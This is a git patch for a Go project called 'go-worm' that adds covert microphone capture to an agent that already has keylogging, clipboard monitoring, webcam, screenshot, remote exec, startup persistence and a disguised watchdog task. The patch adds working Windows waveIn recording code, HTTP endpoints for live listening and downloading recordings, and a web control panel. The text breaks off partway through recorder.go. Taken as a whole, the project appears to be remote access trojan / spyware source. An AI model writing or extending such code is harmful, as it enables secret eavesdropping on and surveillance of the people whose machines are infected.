From eaa46e74947134e438af0232c859974385e138e8 Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Wed, 2 Sep 2026 01:00:09 +0300 Subject: [PATCH] Audio --- lib/agent/agent.go | 7 + lib/agent/handlers.go | 161 ++++++++++++++ lib/agent/web/app.js | 221 +++++++++++++++++++ lib/agent/web/index.html | 31 +++ lib/config/config.go | 9 + lib/mic/chunk.go | 15 ++ lib/mic/chunk_test.go | 20 ++ lib/mic/list.go | 76 +++++++ lib/mic/mic.go | 17 ++ lib/mic/mic_stub.go | 25 +++ lib/mic/mic_windows.go | 443 +++++++++++++++++++++++++++++++++++++++ lib/mic/names.go | 19 ++ lib/mic/recorder.go | 74 +++++++ lib/mic/wav.go | 61 ++++++ lib/mic/wav_test.go | 44 ++++ lib/openapi/spec.go | 125 +++++++++++ lib/openapi/spec_test.go | 3 + 17 files changed, 1351 insertions(+) create mode 100644 lib/mic/chunk.go create mode 100644 lib/mic/chunk_test.go create mode 100644 lib/mic/list.go create mode 100644 lib/mic/mic.go create mode 100644 lib/mic/mic_stub.go create mode 100644 lib/mic/mic_windows.go create mode 100644 lib/mic/names.go create mode 100644 lib/mic/recorder.go create mode 100644 lib/mic/wav.go create mode 100644 lib/mic/wav_test.go diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 32161bf..3d4ebbc 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -19,6 +19,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/instance" "tea.chunkbyte.com/kato/go-worm/lib/keylog" + "tea.chunkbyte.com/kato/go-worm/lib/mic" ) type Agent struct { @@ -75,6 +76,7 @@ func (a *Agent) Close() { clipmon.Stop() keylog.Stop() capture.Stop() + mic.Stop() if a.guard != nil { a.guard.Close() } @@ -95,6 +97,11 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/webcam", a.handleWebcam) mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) + mux.HandleFunc("/api/v1/mic", a.handleMic) + mux.HandleFunc("/api/v1/mic/chunk", a.handleMicChunk) + mux.HandleFunc("/api/v1/mic/record", a.handleMicRecord) + mux.HandleFunc("/api/v1/mic/recordings", a.handleMicRecordings) + mux.HandleFunc("/api/v1/mic/download", a.handleMicDownload) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 7590632..c4b2c17 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -21,6 +21,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/keylog" + "tea.chunkbyte.com/kato/go-worm/lib/mic" "tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" @@ -411,6 +412,166 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { _, _ = w.Write(frame.Data) } +func parseMicDevice(r *http.Request) (int, error) { + device := 0 + if raw := r.URL.Query().Get("device"); raw != "" { + var err error + device, err = strconv.Atoi(raw) + if err != nil || device < 0 { + return 0, errors.New("device must be 0 or greater") + } + } + return device, nil +} + +func (a *Agent) handleMic(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodGet: + devices, err := mic.List() + if err != nil { + helpers.Log.Printf("mic list: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) + return + } + if devices == nil { + devices = []mic.Device{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices}) + case http.MethodDelete: + mic.Stop() + w.WriteHeader(http.StatusNoContent) + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + } +} + +func (a *Agent) handleMicChunk(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + device, err := parseMicDevice(r) + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + data, err := mic.Chunk(device) + if errors.Is(err, mic.ErrNoAudio) { + w.WriteHeader(http.StatusNoContent) + return + } + if errors.Is(err, mic.ErrDeviceNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + if err != nil { + helpers.Log.Printf("mic chunk: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) + return + } + w.Header().Set("Content-Type", "audio/wav") + w.Header().Set("Content-Length", strconv.Itoa(len(data))) + _, _ = w.Write(data) +} + +func (a *Agent) handleMicRecord(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodPost: + device, err := parseMicDevice(r) + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + name, err := mic.StartRecord(device) + if errors.Is(err, mic.ErrAlreadyRecording) { + helpers.WriteError(w, http.StatusConflict, err.Error()) + return + } + if errors.Is(err, mic.ErrDeviceNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + if err != nil { + helpers.Log.Printf("mic record start: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "recording": true}) + case http.MethodDelete: + name, size, err := mic.StopRecord() + if errors.Is(err, mic.ErrNotRecording) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + if err != nil { + helpers.Log.Printf("mic record stop: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, err.Error()) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "size": size, "recording": false}) + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + } +} + +func (a *Agent) handleMicRecordings(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + files, err := mic.ListRecordings() + if err != nil { + helpers.Log.Printf("mic recordings list: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not list recordings") + return + } + dir, err := mic.Dir() + if err != nil { + helpers.Log.Printf("mic dir: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not resolve mic directory") + return + } + if files == nil { + files = []mic.FileInfo{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files, "recording": mic.Recording()}) +} + +func (a *Agent) handleMicDownload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + name := r.URL.Query().Get("file") + if name == "" { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + if !mic.ValidRecordingFilename(name) { + helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name") + return + } + file, info, err := mic.OpenRecording(name) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + helpers.WriteError(w, http.StatusNotFound, "recording not found") + return + } + if errors.Is(err, os.ErrInvalid) { + helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name") + return + } + helpers.Log.Printf("mic download: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not open recording") + return + } + defer file.Close() + w.Header().Set("Content-Type", "audio/wav") + w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`) + w.Header().Set("Accept-Ranges", "bytes") + http.ServeContent(w, r, info.Name(), info.ModTime(), file) +} + func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 137bb8e..58ba618 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -32,11 +32,23 @@ const webcamDevice = document.getElementById("webcam-device"); const webcamStart = document.getElementById("webcam-start"); const webcamStop = document.getElementById("webcam-stop"); + const micMeta = document.getElementById("mic-meta"); + const micDevice = document.getElementById("mic-device"); + const micRows = document.getElementById("mic-rows"); + const micListen = document.getElementById("mic-listen"); + const micListenStop = document.getElementById("mic-listen-stop"); + const micRecord = document.getElementById("mic-record"); + const micRecordStop = document.getElementById("mic-record-stop"); let objectUrls = []; let videoRunning = false; let videoTabActive = false; let webcamRunning = false; + let micListening = false; + let micRecording = false; + let micTabActive = false; + let micAudioCtx = null; + let nextPlayTime = 0; let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; let currentListen = ""; @@ -64,6 +76,18 @@ return res; } + async function apiNoContent(url, options) { + showError(""); + const res = await fetch(url, options); + if (res.status === 204) { + return res; + } + if (!res.ok) { + throw new Error(await readError(res)); + } + return res; + } + function formatBytes(n) { if (n < 1024) return `${n} B`; const units = ["KB", "MB", "GB", "TB"]; @@ -467,6 +491,174 @@ webcamStop.disabled = true; } + function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); + } + + function setMicControls() { + micListen.disabled = micListening; + micListenStop.disabled = !micListening; + micRecord.disabled = micRecording; + micRecordStop.disabled = !micRecording; + } + + async function refreshMics() { + const res = await api("/api/v1/mic"); + const data = await res.json(); + const devices = data.devices || []; + const prev = micDevice.value; + micDevice.replaceChildren(); + if (!devices.length) { + const opt = document.createElement("option"); + opt.value = ""; + opt.textContent = "No microphones found"; + micDevice.append(opt); + micMeta.textContent = "No capture devices"; + return; + } + for (const dev of devices) { + const opt = document.createElement("option"); + opt.value = String(dev.index); + opt.textContent = `${dev.index}: ${dev.name}`; + micDevice.append(opt); + } + if ([...micDevice.options].some((o) => o.value === prev)) { + micDevice.value = prev; + } + micMeta.textContent = `${devices.length} device(s)`; + } + + async function pullMicChunk() { + const device = micDevice.value; + if (device === "") throw new Error("no microphone selected"); + const res = await fetch(`/api/v1/mic/chunk?device=${encodeURIComponent(device)}`); + if (res.status === 204) return; + if (!res.ok) throw new Error(await readError(res)); + const buf = await res.arrayBuffer(); + if (!buf.byteLength) return; + if (!micAudioCtx) { + micAudioCtx = new AudioContext(); + } + if (micAudioCtx.state === "suspended") { + await micAudioCtx.resume(); + } + let audioBuf; + try { + audioBuf = await micAudioCtx.decodeAudioData(buf.slice(0)); + } catch { + return; + } + const src = micAudioCtx.createBufferSource(); + src.buffer = audioBuf; + src.connect(micAudioCtx.destination); + const now = micAudioCtx.currentTime; + const start = Math.max(now, nextPlayTime); + src.start(start); + nextPlayTime = start + audioBuf.duration; + } + + async function runMicListen() { + if (micListening) return; + micListening = true; + nextPlayTime = 0; + setMicControls(); + while (micListening) { + try { + await pullMicChunk(); + } catch (err) { + if (micListening) { + showError(err.message); + await sleep(500); + } + continue; + } + await sleep(50); + } + micListening = false; + setMicControls(); + } + + function stopMicListen() { + micListening = false; + setMicControls(); + } + + async function startMicRecording() { + const device = micDevice.value; + if (device === "") throw new Error("no microphone selected"); + const res = await api(`/api/v1/mic/record?device=${encodeURIComponent(device)}`, { method: "POST" }); + const data = await res.json(); + micRecording = true; + setMicControls(); + micMeta.textContent = `Recording ${data.file}`; + } + + async function stopMicRecording() { + const res = await api("/api/v1/mic/record", { method: "DELETE" }); + const data = await res.json(); + micRecording = false; + setMicControls(); + micMeta.textContent = `Saved ${data.file} · ${formatBytes(data.size || 0)}`; + await listMicRecordings(); + } + + async function stopMicSession() { + stopMicListen(); + if (micRecording) { + try { + await stopMicRecording(); + } catch { + micRecording = false; + setMicControls(); + } + } + try { + await apiNoContent("/api/v1/mic", { method: "DELETE" }); + } catch { + // ignore + } + } + + function downloadMicRecording(name) { + const link = document.createElement("a"); + link.href = `/api/v1/mic/download?file=${encodeURIComponent(name)}`; + link.download = name; + document.body.append(link); + link.click(); + link.remove(); + } + + async function listMicRecordings() { + const res = await api("/api/v1/mic/recordings"); + const data = await res.json(); + const files = data.files || []; + micRecording = Boolean(data.recording); + setMicControls(); + const dir = data.directory || ""; + micMeta.textContent = micRecording + ? `Recording in progress · ${files.length} saved · ${dir}` + : `${files.length} recording(s) · ${dir}`; + micRows.replaceChildren(); + for (const file of files) { + const tr = document.createElement("tr"); + const name = document.createElement("td"); + name.textContent = file.name; + const size = document.createElement("td"); + size.textContent = formatBytes(file.size || 0); + const modified = document.createElement("td"); + modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; + const actions = document.createElement("td"); + actions.className = "actions"; + const btn = document.createElement("button"); + btn.type = "button"; + btn.textContent = "Download"; + btn.addEventListener("click", () => downloadMicRecording(file.name)); + actions.append(btn); + tr.append(name, size, modified, actions); + micRows.append(tr); + } + } + async function pullVideoFrame() { const quality = clamp(document.getElementById("video-quality").value, 1, 100); const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); @@ -731,6 +923,15 @@ if (!onVideo) { stopVideo(); } + const onMic = button.dataset.tab === "mic"; + if (micTabActive && !onMic) { + stopMicSession().catch((err) => showError(err.message)); + } + micTabActive = onMic; + if (onMic) { + refreshMics().catch((err) => showError(err.message)); + listMicRecordings().catch((err) => showError(err.message)); + } if (button.dataset.tab === "logs") { listKeylogs().catch((err) => showError(err.message)); } @@ -799,6 +1000,26 @@ document.getElementById("webcam-snap").addEventListener("click", () => { pullWebcamFrame().catch((err) => showError(err.message)); }); + document.getElementById("mic-refresh").addEventListener("click", () => { + refreshMics().catch((err) => showError(err.message)); + }); + micListen.addEventListener("click", () => { + runMicListen().catch((err) => showError(err.message)); + }); + micListenStop.addEventListener("click", () => { + stopMicListen(); + }); + micRecord.addEventListener("click", () => { + startMicRecording().catch((err) => showError(err.message)); + }); + micRecordStop.addEventListener("click", () => { + stopMicRecording().catch((err) => showError(err.message)); + }); + micDevice.addEventListener("change", () => { + if (micListening || micRecording) { + stopMicSession().catch((err) => showError(err.message)); + } + }); videoCanvas.addEventListener("click", (event) => { sendClick(event, "left").catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 54f7c32..359d6d5 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -735,6 +735,7 @@ + @@ -887,6 +888,36 @@

+
+
+
+

Microphone

+

Listen live or record to AppData. Listen and record share one capture session.

+
+
+ + + + +
+
+
+ + +
+

+
+ + + + + +
RecordingSizeModified
+
+
+
diff --git a/lib/config/config.go b/lib/config/config.go index d3ed108..1c7d584 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -34,6 +34,7 @@ const ( KeylogSubdir = "keystrokes" LogsSubdir = "logs" ClipboardSubdir = "clipboard" + MicSubdir = "mic" SettingsFileName = "settings.json" WatchdogTaskName = "win64_mp" WatchdogTaskNameLegacy = "win64_mp_watchdog" @@ -137,3 +138,11 @@ func ClipboardDir() (string, error) { } return filepath.Join(base, ClipboardSubdir), nil } + +func MicDir() (string, error) { + base, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(base, MicSubdir), nil +} diff --git a/lib/mic/chunk.go b/lib/mic/chunk.go new file mode 100644 index 0000000..96c7c63 --- /dev/null +++ b/lib/mic/chunk.go @@ -0,0 +1,15 @@ +package mic + +// ponytail: cap listen buffer at 5s; excess dropped from front (slow poll won't OOM agent). +const maxChunkPCM = SampleRate * BytesPerSample * 5 + +func appendChunkPCM(buf []byte, pcm []byte) []byte { + if len(pcm) == 0 { + return buf + } + buf = append(buf, pcm...) + if len(buf) <= maxChunkPCM { + return buf + } + return append([]byte(nil), buf[len(buf)-maxChunkPCM:]...) +} diff --git a/lib/mic/chunk_test.go b/lib/mic/chunk_test.go new file mode 100644 index 0000000..0fe91c3 --- /dev/null +++ b/lib/mic/chunk_test.go @@ -0,0 +1,20 @@ +package mic + +import ( + "bytes" + "testing" +) + +func TestAppendChunkPCMCaps(t *testing.T) { + t.Parallel() + half := maxChunkPCM / 2 + buf := appendChunkPCM(nil, bytes.Repeat([]byte{1}, half)) + buf = appendChunkPCM(buf, bytes.Repeat([]byte{2}, half)) + buf = appendChunkPCM(buf, bytes.Repeat([]byte{3}, half)) + if len(buf) != maxChunkPCM { + t.Fatalf("len = %d, want %d", len(buf), maxChunkPCM) + } + if buf[0] != 2 { + t.Fatalf("first byte = %d, want 2 (oldest chunk dropped)", buf[0]) + } +} diff --git a/lib/mic/list.go b/lib/mic/list.go new file mode 100644 index 0000000..062ffd4 --- /dev/null +++ b/lib/mic/list.go @@ -0,0 +1,76 @@ +package mic + +import ( + "os" + "path/filepath" + "sort" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +type FileInfo struct { + Name string `json:"name"` + Size int64 `json:"size"` + ModifiedTime time.Time `json:"modified_time"` +} + +func Dir() (string, error) { + return config.MicDir() +} + +func ListRecordings() ([]FileInfo, error) { + dir, err := Dir() + if err != nil { + return nil, err + } + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil, nil + } + return nil, err + } + var files []FileInfo + for _, entry := range entries { + if entry.IsDir() || !ValidRecordingFilename(entry.Name()) { + continue + } + info, err := entry.Info() + if err != nil { + continue + } + files = append(files, FileInfo{ + Name: entry.Name(), + Size: info.Size(), + ModifiedTime: info.ModTime(), + }) + } + sort.Slice(files, func(i, j int) bool { + return files[i].ModifiedTime.After(files[j].ModifiedTime) + }) + return files, nil +} + +func OpenRecording(name string) (*os.File, os.FileInfo, error) { + if !ValidRecordingFilename(name) { + return nil, nil, os.ErrInvalid + } + dir, err := Dir() + if err != nil { + return nil, nil, err + } + path := filepath.Join(dir, filepath.Base(name)) + info, err := os.Stat(path) + if err != nil { + return nil, nil, err + } + if info.IsDir() { + return nil, nil, os.ErrInvalid + } + file, err := os.Open(path) + if err != nil { + return nil, nil, err + } + return file, info, nil +} diff --git a/lib/mic/mic.go b/lib/mic/mic.go new file mode 100644 index 0000000..9349596 --- /dev/null +++ b/lib/mic/mic.go @@ -0,0 +1,17 @@ +package mic + +import ( + "errors" +) + +var ( + ErrDeviceNotFound = errors.New("microphone not found") + ErrAlreadyRecording = errors.New("already recording") + ErrNotRecording = errors.New("not recording") + ErrNoAudio = errors.New("no audio available") +) + +type Device struct { + Index int `json:"index"` + Name string `json:"name"` +} diff --git a/lib/mic/mic_stub.go b/lib/mic/mic_stub.go new file mode 100644 index 0000000..741f763 --- /dev/null +++ b/lib/mic/mic_stub.go @@ -0,0 +1,25 @@ +//go:build !windows + +package mic + +import "errors" + +func List() ([]Device, error) { + return nil, errors.New("microphone is only available on Windows") +} + +func Chunk(int) ([]byte, error) { + return nil, errors.New("microphone is only available on Windows") +} + +func StartRecord(int) (string, error) { + return "", errors.New("microphone is only available on Windows") +} + +func StopRecord() (string, int64, error) { + return "", 0, errors.New("microphone is only available on Windows") +} + +func Recording() bool { return false } + +func Stop() {} diff --git a/lib/mic/mic_windows.go b/lib/mic/mic_windows.go new file mode 100644 index 0000000..bf9569d --- /dev/null +++ b/lib/mic/mic_windows.go @@ -0,0 +1,443 @@ +//go:build windows + +package mic + +import ( + "errors" + "fmt" + "sync" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/helpers" +) + +const ( + callbackEvent = 0x00050000 + whdrDone = 0x00000001 + numBuffers = 3 + bufferMillis = 200 + idleClose = 2 * time.Second + maxDeviceName = 32 +) + +var ( + winmm = windows.NewLazySystemDLL("winmm.dll") + procWaveInGetNumDevs = winmm.NewProc("waveInGetNumDevs") + procWaveInGetDevCapsW = winmm.NewProc("waveInGetDevCapsW") + procWaveInOpen = winmm.NewProc("waveInOpen") + procWaveInClose = winmm.NewProc("waveInClose") + procWaveInPrepareHeader = winmm.NewProc("waveInPrepareHeader") + procWaveInUnprepareHeader = winmm.NewProc("waveInUnprepareHeader") + procWaveInAddBuffer = winmm.NewProc("waveInAddBuffer") + procWaveInStart = winmm.NewProc("waveInStart") + procWaveInReset = winmm.NewProc("waveInReset") +) + +type waveFormatEx struct { + FormatTag uint16 + Channels uint16 + SamplesPerSec uint32 + AvgBytesPerSec uint32 + BlockAlign uint16 + BitsPerSample uint16 + Size uint16 +} + +type waveInCaps struct { + Mid uint16 + Pid uint16 + DriverVersion uint32 + Name [maxDeviceName]uint16 + Formats uint32 + WChannels uint16 + Reserved uint16 +} + +type waveHdr struct { + Data uintptr + BufferLength uint32 + BytesRecorded uint32 + User uintptr + Flags uint32 + Loops uint32 + Next uintptr + Reserved uintptr +} + +type captureBuffer struct { + hdr waveHdr + data []byte +} + +var ( + mu sync.Mutex + sess *captureSession +) + +type captureSession struct { + device int + hWave uintptr + event windows.Handle + stopCh chan struct{} + doneOnce sync.Once + doneCh chan struct{} + buffers []captureBuffer + chunkPCM []byte + rec *fileRecorder + recName string + lastPoll time.Time +} + +func List() ([]Device, error) { + n, _, _ := procWaveInGetNumDevs.Call() + count := int(n) + var out []Device + for i := 0; i < count; i++ { + var caps waveInCaps + ok, _, _ := procWaveInGetDevCapsW.Call( + uintptr(i), + uintptr(unsafe.Pointer(&caps)), + unsafe.Sizeof(caps), + ) + if ok != 0 { + continue + } + name := windows.UTF16ToString(caps.Name[:]) + if name == "" { + name = fmt.Sprintf("Microphone %d", i) + } + out = append(out, Device{Index: i, Name: name}) + } + return out, nil +} + +func Chunk(device int) ([]byte, error) { + mu.Lock() + defer mu.Unlock() + if err := ensureSessionLocked(device); err != nil { + return nil, err + } + sess.lastPoll = time.Now() + pcm := append([]byte(nil), sess.chunkPCM...) + sess.chunkPCM = nil + if len(pcm) == 0 { + return nil, ErrNoAudio + } + return EncodeWAV(pcm), nil +} + +func StartRecord(device int) (string, error) { + mu.Lock() + defer mu.Unlock() + if sess != nil && sess.rec != nil { + return "", ErrAlreadyRecording + } + if err := ensureSessionLocked(device); err != nil { + return "", err + } + name := RecordingFilename(time.Now()) + rec, err := openRecorder(name) + if err != nil { + return "", err + } + sess.rec = rec + sess.recName = name + sess.lastPoll = time.Now() + return name, nil +} + +func StopRecord() (string, int64, error) { + mu.Lock() + defer mu.Unlock() + if sess == nil || sess.rec == nil { + return "", 0, ErrNotRecording + } + name := sess.recName + size, err := sess.rec.Close() + sess.rec = nil + sess.recName = "" + return name, size, err +} + +func Recording() bool { + mu.Lock() + defer mu.Unlock() + return sess != nil && sess.rec != nil +} + +func Stop() { + mu.Lock() + stopSessionLocked() + mu.Unlock() +} + +func ensureSessionLocked(device int) error { + if sess != nil && sess.device == device && sess.hWave != 0 { + return nil + } + stopSessionLocked() + return startSessionLocked(device) +} + +func startSessionLocked(device int) error { + if err := deviceExists(device); err != nil { + return err + } + + event, err := windows.CreateEvent(nil, 0, 0, nil) + if err != nil { + return err + } + + format := waveFormatEx{ + FormatTag: 1, + Channels: Channels, + SamplesPerSec: SampleRate, + AvgBytesPerSec: SampleRate * Channels * BytesPerSample, + BlockAlign: Channels * BytesPerSample, + BitsPerSample: BitsPerSample, + } + + var hWave uintptr + bufBytes := SampleRate * BytesPerSample * bufferMillis / 1000 + if bufBytes < 1024 { + bufBytes = 1024 + } + + ok, _, callErr := procWaveInOpen.Call( + uintptr(unsafe.Pointer(&hWave)), + uintptr(device), + uintptr(unsafe.Pointer(&format)), + uintptr(event), + 0, + callbackEvent, + ) + if ok != 0 { + windows.CloseHandle(event) + if callErr != nil && callErr != syscall.Errno(0) { + return callErr + } + return fmt.Errorf("waveInOpen failed") + } + + s := &captureSession{ + device: device, + hWave: hWave, + event: event, + stopCh: make(chan struct{}), + doneCh: make(chan struct{}), + lastPoll: time.Now(), + } + for i := 0; i < numBuffers; i++ { + cb := captureBuffer{data: make([]byte, bufBytes)} + if err := prepareBuffer(hWave, &cb); err != nil { + closeCapture(s) + return err + } + s.buffers = append(s.buffers, cb) + } + + sess = s + go runCaptureLoop(s) + go runIdleWatcher(s) + + ok, _, callErr = procWaveInStart.Call(hWave) + if ok != 0 { + stopSessionLocked() + if callErr != nil && callErr != syscall.Errno(0) { + return callErr + } + return fmt.Errorf("waveInStart failed") + } + return nil +} + +func deviceExists(device int) error { + devices, err := List() + if err != nil { + return err + } + for _, d := range devices { + if d.Index == device { + return nil + } + } + return ErrDeviceNotFound +} + +func prepareBuffer(hWave uintptr, cb *captureBuffer) error { + if len(cb.data) == 0 { + return errors.New("empty capture buffer") + } + cb.hdr = waveHdr{ + Data: uintptr(unsafe.Pointer(&cb.data[0])), + BufferLength: uint32(len(cb.data)), + } + ok, _, err := procWaveInPrepareHeader.Call( + hWave, + uintptr(unsafe.Pointer(&cb.hdr)), + unsafe.Sizeof(cb.hdr), + ) + if ok != 0 { + if err != nil && err != syscall.Errno(0) { + return err + } + return errors.New("waveInPrepareHeader failed") + } + ok, _, err = procWaveInAddBuffer.Call( + hWave, + uintptr(unsafe.Pointer(&cb.hdr)), + unsafe.Sizeof(cb.hdr), + ) + if ok != 0 { + _, _, _ = procWaveInUnprepareHeader.Call(hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) + if err != nil && err != syscall.Errno(0) { + return err + } + return errors.New("waveInAddBuffer failed") + } + return nil +} + +func runIdleWatcher(s *captureSession) { + defer helpers.RecoverLog("mic-idle") + ticker := time.NewTicker(500 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-s.stopCh: + return + case <-ticker.C: + mu.Lock() + if sess == s && s.rec == nil && time.Since(s.lastPoll) > idleClose { + stopSessionLocked() + } + mu.Unlock() + } + } +} + +func runCaptureLoop(s *captureSession) { + defer s.finish() + defer helpers.RecoverLog("mic-capture") + for { + select { + case <-s.stopCh: + return + default: + } + wait, err := windows.WaitForSingleObject(s.event, 500) + if err != nil { + continue + } + if wait == uint32(windows.WAIT_TIMEOUT) { + continue + } + if wait != windows.WAIT_OBJECT_0 { + continue + } + + var broken bool + mu.Lock() + if sess != s { + mu.Unlock() + return + } + for i := range s.buffers { + cb := &s.buffers[i] + if cb.hdr.Flags&whdrDone == 0 { + continue + } + n := int(cb.hdr.BytesRecorded) + if n > len(cb.data) { + n = len(cb.data) + } + if n > 0 { + pcm := append([]byte(nil), cb.data[:n]...) + s.chunkPCM = appendChunkPCM(s.chunkPCM, pcm) + if s.rec != nil { + if err := s.rec.Write(pcm); err != nil { + helpers.Log.Printf("mic record: %v", err) + _, _ = s.rec.Close() + s.rec = nil + s.recName = "" + } + } + } + cb.hdr.Flags &^= whdrDone + cb.hdr.BytesRecorded = 0 + _, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) + if err := prepareBuffer(s.hWave, cb); err != nil { + helpers.Log.Printf("mic buffer: %v", err) + broken = true + } + } + mu.Unlock() + if broken { + mu.Lock() + if sess == s { + sess = nil + } + mu.Unlock() + signalCaptureStop(s) + return + } + } +} + +func (s *captureSession) finish() { + s.doneOnce.Do(func() { close(s.doneCh) }) +} + +// stopSessionLocked drops the session. Caller must hold mu. +// Never wait on capture shutdown while holding mu (deadlock with capture loop). +func stopSessionLocked() { + if sess == nil { + return + } + s := sess + sess = nil + mu.Unlock() + closeCapture(s) + mu.Lock() +} + +func closeCapture(s *captureSession) { + signalCaptureStop(s) + <-s.doneCh +} + +func signalCaptureStop(s *captureSession) { + if s == nil { + return + } + select { + case <-s.stopCh: + default: + close(s.stopCh) + } + if s.hWave != 0 { + _, _, _ = procWaveInReset.Call(s.hWave) + for i := range s.buffers { + cb := &s.buffers[i] + _, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) + } + _, _, _ = procWaveInClose.Call(s.hWave) + s.hWave = 0 + } + if s.rec != nil { + if _, err := s.rec.Close(); err != nil { + helpers.Log.Printf("mic record close: %v", err) + } + s.rec = nil + s.recName = "" + } + if s.event != 0 { + windows.CloseHandle(s.event) + s.event = 0 + } +} diff --git a/lib/mic/names.go b/lib/mic/names.go new file mode 100644 index 0000000..bb4755d --- /dev/null +++ b/lib/mic/names.go @@ -0,0 +1,19 @@ +package mic + +import ( + "path/filepath" + "regexp" + "time" +) + +const recordingLayout = "2006-01-02-150405" + +var recordingPattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{6}\.wav$`) + +func RecordingFilename(t time.Time) string { + return t.Local().Format(recordingLayout) + ".wav" +} + +func ValidRecordingFilename(name string) bool { + return recordingPattern.MatchString(filepath.Base(name)) +} diff --git a/lib/mic/recorder.go b/lib/mic/recorder.go new file mode 100644 index 0000000..7eccac4 --- /dev/null +++ b/lib/mic/recorder.go @@ -0,0 +1,74 @@ +package mic + +import ( + "fmt" + "os" + "path/filepath" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +type fileRecorder struct { + path string + f *os.File + written int64 +} + +func openRecorder(name string) (*fileRecorder, error) { + dir, err := Dir() + if err != nil { + return nil, err + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return nil, err + } + path := filepath.Join(dir, filepath.Base(name)) + f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600) + if err != nil { + return nil, err + } + hdr := make([]byte, wavHeaderSize) + writeWAVHeader(hdr, 0) + if _, err := f.Write(hdr); err != nil { + _ = f.Close() + return nil, err + } + return &fileRecorder{path: path, f: f}, nil +} + +func (r *fileRecorder) Write(pcm []byte) error { + if len(pcm) == 0 { + return nil + } + if r.written+int64(len(pcm)) > config.MaxUploadSize { + return fmt.Errorf("recording exceeds %d bytes", config.MaxUploadSize) + } + n, err := r.f.Write(pcm) + r.written += int64(n) + return err +} + +func (r *fileRecorder) Close() (int64, error) { + if r.f == nil { + return 0, nil + } + hdr := make([]byte, wavHeaderSize) 